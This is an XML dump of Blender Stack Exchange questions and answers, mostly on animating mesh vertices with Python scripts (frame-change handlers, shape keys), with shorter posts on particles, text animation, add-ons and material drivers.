  <row Id="36902" PostTypeId="1" AcceptedAnswerId="36950" CreationDate="2015-09-02T13:00:21.060" Score="10" ViewCount="3363" Body="&lt;p&gt;I'm updating all the vertex coordinates of a mesh frame-by-frame in python and need to animate but can not figure out how. Here is a small abstracted script - the python isn't pretty, but it makes an icosphere gaussian hiccup (a little like this coarse GIF):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OkRvL.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkRvL.gif&quot; alt=&quot;ico hiccup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import numpy as np&#xA;&#xA;pi = np.pi&#xA;make_ico = bpy.ops.mesh.primitive_ico_sphere_add&#xA;ok = make_ico(subdivisions=3, size = 2.0, location = (0,0,3))&#xA;&#xA;ao = bpy.context.active_object&#xA;oo = bpy.ops.object&#xA;ok = oo.mode_set(mode='EDIT')&#xA;me = bmesh.from_edit_mesh(ao.data)&#xA;ico0 = np.array([vert.co for vert in me.verts]) # get ico vertices&#xA;ok = oo.mode_set(mode='OBJECT')&#xA;&#xA;n_frames = 101&#xA;bpy.context.scene.frame_end = n_frames&#xA;&#xA;zmin, zmax = ico0[:,2].min(), ico0[:,2].max()&#xA;zc = np.linspace(zmin, zmaz, n_frames)&#xA;&#xA;sig = 0.3&#xA;ico = np.zeros_like(ico0)&#xA;data = []&#xA;for i in range(n_frames):&#xA;    ico[:,:2] = (1.0 + np.exp(-(ico0[:,2] - zc[i])**2/(2.*sig**2)))[:,None] * ico0[:,:2]&#xA;    ico[:,2] = ico0[:,2]&#xA;    data.append(ico.copy())&#xA;&#xA;for i_frame in range(n_frames):&#xA;    ok = oo.mode_set(mode='EDIT')&#xA;    me = bmesh.from_edit_mesh(ao.data)  #DO THIS EVERY TIME?&#xA;    for (vert, co) in zip(me.verts, data[i_frame]):&#xA;        vert.co = co&#xA;    bmesh.update_edit_mesh(ao.data)  # update&#xA;    ok = oo.mode_set(mode='OBJECT')&#xA;    bpy.context.scene.frame_current = i_frame + 1&#xA;    # something about keyframes HERE?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="3078" LastEditDate="2016-01-09T21:27:00.007" LastActivityDate="2020-08-18T09:18:39.433" Title="How to keyframe mesh vertices in Python" Tags="&lt;python&gt;&lt;animation&gt;&lt;vertices&gt;&lt;keyframes&gt;&lt;bmesh&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36903" PostTypeId="1" CreationDate="2015-09-02T13:30:48.480" Score="2" ViewCount="493" Body="&lt;p&gt;I would like to know if there is a way to save a viewport view? Not a camera view, but a position in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm designing an enormous mech warrior and the cockpit is difficult to model. I would ideally like to be able to cycle to the view position inside to model when I need to.&lt;/p&gt;&#xA;" OwnerUserId="13400" LastActivityDate="2015-09-02T13:41:56.120" Title="save viewport position?" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36905" PostTypeId="1" AcceptedAnswerId="38007" CreationDate="2015-09-02T13:49:53.200" Score="8" ViewCount="4929" Body="&lt;p&gt;As the title indicates, I'd like, from given UV coordinates, to find their corresponding XYZ coordinates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to use the following function (see bellow), to know the UV index (and therefore the corresponding vertices to later do an interpolation) of the UV surrounding triangles before realizing that it may return too many triangles (since more than 1 triangle actually surround a point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75a_release/mathutils.geometry.html?highlight=intersect_point_#mathutils.geometry.intersect_point_tri_2d&quot;&gt;mathutils.geometry.intersect_point_tri_2d(pt, tri_p1, tri_p2, tri_p3)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... I don't really know if it is possible to do, but if you have any leads on how to find where a random point on the UV texture is going to map on the 3D object please share.&lt;/p&gt;&#xA;" OwnerUserId="16573" LastActivityDate="2015-09-04T10:18:43.227" Title="UV coordinates to XYZ coordinates" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36906" PostTypeId="2" ParentId="36902" CreationDate="2015-09-02T14:04:29.647" Score="6" Body="&lt;p&gt;I'd consider getting away from &lt;code&gt;bmesh_from_edit_mesh&lt;/code&gt;, and re-evaluating why you might need bmesh at all. This can be done with the basic Mesh structure. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Here as a function of the event handler 'pre frame change'&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As you can tell, there's no switching in and out of edit mode for the purpose of getting the Bmesh from edit mode. For what you are doing here there's little gain (that I can see..) to using bmesh data. So you can use the standard Mesh data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import numpy as np&#xA;&#xA;## ------- part 1 --- do this once.&#xA;sig = 0.3&#xA;n_frames = 101&#xA;bpy.context.scene.frame_end = n_frames&#xA;&#xA;pi = np.pi&#xA;make_ico = bpy.ops.mesh.primitive_ico_sphere_add&#xA;make_ico(subdivisions=3, size = 2.0, location = (0,0,3))&#xA;obj = bpy.context.active_object&#xA;me = obj.data&#xA;&#xA;ico0 = np.array([v.co for v in me.vertices]) # get ico vertices&#xA;zmin, zmax = ico0[:,2].min(), ico0[:,2].max()&#xA;zc = np.linspace(zmin, zmax, n_frames)&#xA;ico = np.zeros_like(ico0)&#xA;data = []&#xA;&#xA;for i in range(n_frames):&#xA;    ico[:,:2] = (1.0 + np.exp(-(ico0[:,2] - zc[i])**2/(2.*sig**2)))[:,None] * ico0[:,:2]&#xA;    ico[:,2] = ico0[:,2]&#xA;    data.append(ico.copy())&#xA;&#xA;## ------- part 2  ---set up frame change event handler,&#xA;def my_handler(scene):&#xA;    i_frame = scene.frame_current&#xA;    if not (0 &amp;lt;= i_frame &amp;lt; len(data)):&#xA;        return&#xA;&#xA;    obj = bpy.data.objects['Icosphere'] # be explicit.&#xA;    me = obj.data&#xA;    for (vert, co) in zip(me.vertices, data[i_frame]):&#xA;        vert.co = co&#xA;    me.update()&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A few warnings here, useful things to be aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run this script once, it will add a function to the event handler system. This function (&lt;code&gt;my_handler&lt;/code&gt;) will be called on each frame change (either you scrub the timeline, or hit play..to render an animation -- any kind of frame change). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you run the script again, another function (identical content, but different function reference) is added to the event handler, be aware of this&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you change the content of the &lt;code&gt;my_handler&lt;/code&gt; function and run the script again it will do undesirable things, like run both versions of the &lt;code&gt;my_handler&lt;/code&gt; function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So instead of running the script over and over, and not understanding why it doesn't seem to behave right, you must remove the handler before registering a new one by the same name - code defensively to avoid 'stale' handler functions. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't have any additional event handlers set-up it's easy to wipe the list using some variant of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;handlers = bpy.app.handlers&#xA;num_handlers = len(handlers.frame_change_pre)&#xA;del handlers.frame_change_pre[0:num_handlers]&#xA;&#xA;# or simply&#xA;bpy.app.handlers.frame_change_pre.clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or.. you might want to remove handlers by function name (this is useful if you have a variety of these things going on)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_handler_list = bpy.app.handlers.frame_change_pre&#xA;fin = len(my_handler_list)&#xA;for idx, func in enumerate(reversed(my_handler_list)):&#xA;    if func.__name__ == 'my_handler':&#xA;        my_handler_list.pop(fin-1-idx)&#xA;&#xA;# I suspect there's a neater way to remove handlers by name&#xA;# but I stopped as soon as it worked..&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe obvious, but worth mentioning -- if you create the icosphere, and rerun the script it will create another. You probably don't want that and need to add a check at the top ' does A exist no? then add A else use existing A '&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a &lt;em&gt;bmesh&lt;/em&gt; representation you can get it from &lt;code&gt;obj.data&lt;/code&gt; using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as shown in TextEditor -&gt; Templates -&gt; Python -&gt; Bmesh Simple&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;To get a perfect loop&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Add the pristine coordinates as a first and last member of the data list. so it looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data = [pristine, modified1, modified2... modified_last, pristine]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;https://gist.github.com/zeffii/229ac803bdad0fdc7813&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/zeffii/229ac803bdad0fdc7813&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-09-03T11:53:35.847" LastActivityDate="2015-09-03T11:53:35.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36907" PostTypeId="1" CreationDate="2015-09-02T14:06:17.190" Score="3" ViewCount="52" Body="&lt;p&gt;I'm using cycles render. The problem is the emission plate (no matter what size) won't hit some areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a beginner in Blender, I started a week ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oilX2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oilX2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scene looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/50ckn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/50ckn.png&quot; alt=&quot;The emission on the plates is 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help be diagnose this problem? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/463/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=463&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16853" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-02T16:15:10.153" Title="Texture Problem, Multiple Textures" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="16" ClosedDate="2015-09-02T17:17:36.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="36908" PostTypeId="1" CreationDate="2015-09-02T14:21:46.433" Score="8" ViewCount="1669" Body="&lt;p&gt;I'm working in blender, to animate a piece of text for a game I am making. I intend on giving the text multiple animations. For example, one animation has each letter in the text rotate along it's x axis, from first letter, to last. As you can see, this involves rotating each letter individually. I have tried using each letter as a separate object, but this seems to generate an individual action for each letter...which would be cumbersome to implement into a game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried rotating each letter, while keeping the word as a single object, but I can't find a way to add key frames, for changes to the mesh of the word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to blender, so I know i'm probably overlooking something...any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="16854" LastActivityDate="2015-09-02T19:12:06.997" Title="Letter by Letter Animation" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36909" PostTypeId="2" ParentId="36892" CreationDate="2015-09-02T14:44:00.657" Score="12" Body="&lt;p&gt;I would suggest to disable &lt;strong&gt;Emit in Random order&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eOwM2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eOwM2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particles in this case are emitted from faces. Every faces has it's own id. With the &lt;strong&gt;Random&lt;/strong&gt; opton enabled you are asking Blender to pick a Random face id to generate the next particle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, where your simulation does'n run trought time, means that is very likely to have a particle create in the same place of another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have 100 faces. First random id is 1, so a tree is generated in Face1. Than pick another id, randomly..it may occour to pick the same id..1, so the generated tree will be overlapped to the previous one. It may seems that you have a low probability to pick the only 1% that is already came out, but you have to consider that for each particle cration iteration, the number of &quot;free&quot; ids lower, so when you are at half of the particle cration, you'll have 50% probability of overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this effect is not very strong is because you have also &lt;strong&gt;Random distribution&lt;/strong&gt; option enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3AoY3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3AoY3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that, you are asking to position randomly the created tree on the face. So , despite they are created on the same face, the might have different location. On th other side, it may occour that two tree of born in adiacent faces, let's say along the common border, will be very near, causing overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particles generation is not aware of where other particles have previously been generated (it would be very high computing demanding for large numbers), so for now it is not possible to have a &lt;strong&gt;random distribution&lt;/strong&gt; without any overlaps.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One possible &lt;strong&gt;workaround&lt;/strong&gt; can bw to subdivide your mesh till the faces are almost the size of the trees XY bounding plane. Now you should have about 2000 faces in the &quot;forest area&quot;. If we put without a tree in the center of each faces we would be able to create about 2000 trees without any overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Adpi9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Adpi9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This obiuvsly resamble more to a plantation than a forest, but by lowering the amount of trees and the use of voronoi density map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mRIpG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRIpG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should be able to dampen the &quot;grid&quot; effect a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/462/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=462&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-09-02T14:44:00.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36910" PostTypeId="2" ParentId="36908" CreationDate="2015-09-02T15:00:13.353" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FKR3P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FKR3P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use an armature to animate your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above image is a weight painted mesh.  The red submesh (letter R shape) is controlled by the bone with a corresponding vertex group.  The fine connection lines of the armature are hard to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the mesh reshaped by the armature in pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nw2kn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nw2kn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animation to follow.  Perhaps you can show an animation for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple meshes or single mesh.  If an armature can animate a body mesh it can animate your mesh.  Each letter can be assigned to single bone exclusively via vertex groups.  All meshes can have vertex groups.  The armature is a sequence of controllers for your sequence of mesh/submeshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bones of the armature can be disconnected so they operate independently in terms of rotation and position, yet are a convenient collection of controllers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We assume your 3d text type has been converted to a 3d mesh type.   Thus I will only use the word mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bones can operate on an entire object, or an entire mesh, or parts of mesh, and share influence.  Those features are intentional.   The parts of the mesh can be designated with vertex groups.  This often automatically happens with ... parent to armature.  Then weight painting creates modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each mesh or submesh (visually looking like anything including a letter) can be in it own vertex group assigned to a single bone.  Bones which control the head of a body mesh do not control the toes, there is independence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will submit a picture in a few minutes.  You can submit one in addtion in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would edit position in pose mode of the armature, and have access to all armature features.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-02T19:12:06.997" LastActivityDate="2015-09-02T19:12:06.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36911" PostTypeId="1" CreationDate="2015-09-02T15:03:17.423" Score="0" ViewCount="236" Body="&lt;p&gt;I know this may be a stupid question but how do I make the background look more realistic or 3d like &lt;a href=&quot;https://i.stack.imgur.com/i0r3G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i0r3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the game file &lt;a href=&quot;http://www.pasteall.org/blend/37831&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37831&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2022" LastActivityDate="2015-09-02T15:03:17.423" Title="Blender game engine graphics" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36912" PostTypeId="2" ParentId="36908" CreationDate="2015-09-02T15:09:53.623" Score="7" Body="&lt;p&gt;You may achieve it adding a &lt;strong&gt;&lt;em&gt;Copy Rotation Constraint&lt;/em&gt;&lt;/strong&gt; to every single letter and setting an &lt;em&gt;Empty&lt;/em&gt; as a target.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0wr5b.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0wr5b.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the separate origin point to every single letter and add an &lt;em&gt;Empty&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/25hmi.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/25hmi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select a letter, go to the &lt;em&gt;Constraints&lt;/em&gt; header, choose &lt;strong&gt;&lt;em&gt;Copy Rotation&lt;/em&gt;&lt;/strong&gt; and set an &lt;em&gt;Empty&lt;/em&gt; as a target. Repeat the process with every other letter.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/30JNt.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/30JNt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the pivot center type to &lt;strong&gt;&lt;em&gt;Individual Origins&lt;/em&gt;&lt;/strong&gt;. Select an &lt;em&gt;Empty&lt;/em&gt; and rotate it. Every letter copies the rotation of an &lt;em&gt;Empty&lt;/em&gt; now.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Z1IhG.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z1IhG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you may add a rotation shapekey to the entire object, but as you can see below it may cause some letters' deformations so I don't recommend it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/J39uR.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J39uR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-09-02T15:28:28.460" LastActivityDate="2015-09-02T15:28:28.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36913" PostTypeId="1" AcceptedAnswerId="36923" CreationDate="2015-09-02T15:24:13.797" Score="0" ViewCount="16591" Body="&lt;p&gt;I am trying to install various addons to no avail. I have tried many, and they can't all be buggy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go to settings, click install from file, choose file, then select install from file again. Search for the addon and it isn't there. What am I doing wrong? I have also copied all of the content from the downloaded file and put it in a new file and saved as name.py. Still nothing shows up. And yes, the document starts with what it should start with, not html.&lt;/p&gt;&#xA;" OwnerUserId="16855" LastEditorUserId="241" LastEditDate="2015-09-02T17:57:03.640" LastActivityDate="2020-05-03T13:09:30.650" Title="Addons are not installing" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36915" PostTypeId="2" ParentId="36902" CreationDate="2015-09-02T16:30:10.263" Score="8" Body="&lt;p&gt;Yes, this is a separate answer because the technique is completely different.&lt;/p&gt;&#xA;&lt;p&gt;Updated for 2.8&lt;/p&gt;&#xA;&lt;h3&gt;Step 1 -- make shapekeys via a script.&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import numpy as np&#xA;&#xA;## ------- part 1 --- do this once.&#xA;sig = 0.3&#xA;n_frames = 101&#xA;bpy.context.scene.frame_end = n_frames&#xA;&#xA;pi = np.pi&#xA;make_ico = bpy.ops.mesh.primitive_ico_sphere_add&#xA;make_ico(subdivisions=3, radius = 2.0, location = (0,0,3))&#xA;obj = bpy.context.active_object&#xA;me = obj.data&#xA;&#xA;ico0 = np.array([v.co for v in me.vertices]) # get ico vertices&#xA;zmin, zmax = ico0[:,2].min(), ico0[:,2].max()&#xA;zc = np.linspace(zmin, zmax, n_frames)&#xA;ico = np.zeros_like(ico0)&#xA;data = []&#xA;&#xA;for i in range(n_frames):&#xA;    ico[:,:2] = (1.0 + np.exp(-(ico0[:,2] - zc[i])**2/(2.*sig**2)))[:,None] * ico0[:,:2]&#xA;    ico[:,2] = ico0[:,2]&#xA;    data.append(ico.copy())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Step 2 -- keyframe the mute state&lt;/h3&gt;&#xA;&lt;p&gt;The simplest way that requires the least amount tears might be keyframing the &lt;code&gt;.mute&lt;/code&gt; state, (on for the frame wanted, off for the frame after that..) have all &lt;code&gt;.value&lt;/code&gt; set to 1.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## ------- part 2  ---set up keyblocks / shape_keys&#xA;&#xA;for i_frame in range(n_frames):&#xA;    block = obj.shape_key_add(name=str(i_frame), from_mix=False)  # returns a key_blocks member&#xA;    block.value = 1.0&#xA;    block.mute = True&#xA;    for (vert, co) in zip(block.data, data[i_frame]):&#xA;        vert.co = co&#xA;&#xA;    # keyframe off on frame zero&#xA;    block.mute = True&#xA;    block.keyframe_insert(data_path='mute', frame=0, index=-1)&#xA;&#xA;    block.mute = False&#xA;    block.keyframe_insert(data_path='mute', frame=i_frame + 1, index=-1)&#xA;&#xA;    block.mute = True&#xA;    block.keyframe_insert(data_path='mute', frame=i_frame + 2, index=-1)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A brief explanation of the keyframing. Essentially it modulates the  influence of the shapekey. No shapekey should have influence on any frame other than the desired one. In practice this means:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;putting a keyframe ahead of all keyframes (frame 0 for instance) to set the influence of all shape_keys to the &lt;code&gt;mute=on&lt;/code&gt; position.&lt;/li&gt;&#xA;&lt;li&gt;Then on the frame you want the effect to be full you set &lt;code&gt;mute=off&lt;/code&gt; (full effect), and the next frame you &lt;code&gt;mute=on&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ECKWb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ECKWb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="15543" LastEditDate="2020-08-18T09:18:39.433" LastActivityDate="2020-08-18T09:18:39.433" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="36917" PostTypeId="1" CreationDate="2015-09-02T17:44:29.353" Score="0" ViewCount="37" Body="&lt;p&gt;I have some reference videos taken at 120 fps, my project is 30 fps. Do I just have to animate at 120 fps and then scale back down to 30?&lt;/p&gt;&#xA;" OwnerUserId="15020" LastActivityDate="2015-09-02T17:44:29.353" Title="Issues with reference video framerate" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36918" PostTypeId="2" ParentId="36685" CreationDate="2015-09-02T17:46:42.847" Score="1" Body="&lt;p&gt;Blender evaluates 1 and 0 as True and False without any extra coding needed. I was overthinking it.&lt;/p&gt;&#xA;" OwnerUserId="15020" LastActivityDate="2015-09-02T17:46:42.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36920" PostTypeId="1" CreationDate="2015-09-02T18:27:19.777" Score="3" ViewCount="2128" Body="&lt;p&gt;I have an model with an armature. On several bones are custom properties which are used in drivers.&lt;br&gt;&#xA;At the end, the model and the armature should be linked in another scene and the custom properties are used to control certain functions of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem now is that I want to control a color of an material node by means of a custom property. For that I added the hex value of the color to the property to use this value in a corresponding driver which should set the color of the material node. But the variables in the driver only accept numeric values and hex is a string.&#xA;Is there any other way to control a color in a linked object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.75, on Windows&lt;/p&gt;&#xA;" OwnerUserId="16858" LastEditorUserId="2217" LastEditDate="2015-09-02T18:44:30.153" LastActivityDate="2020-09-11T15:50:42.807" Title="Drive color via custom property" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;drivers&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
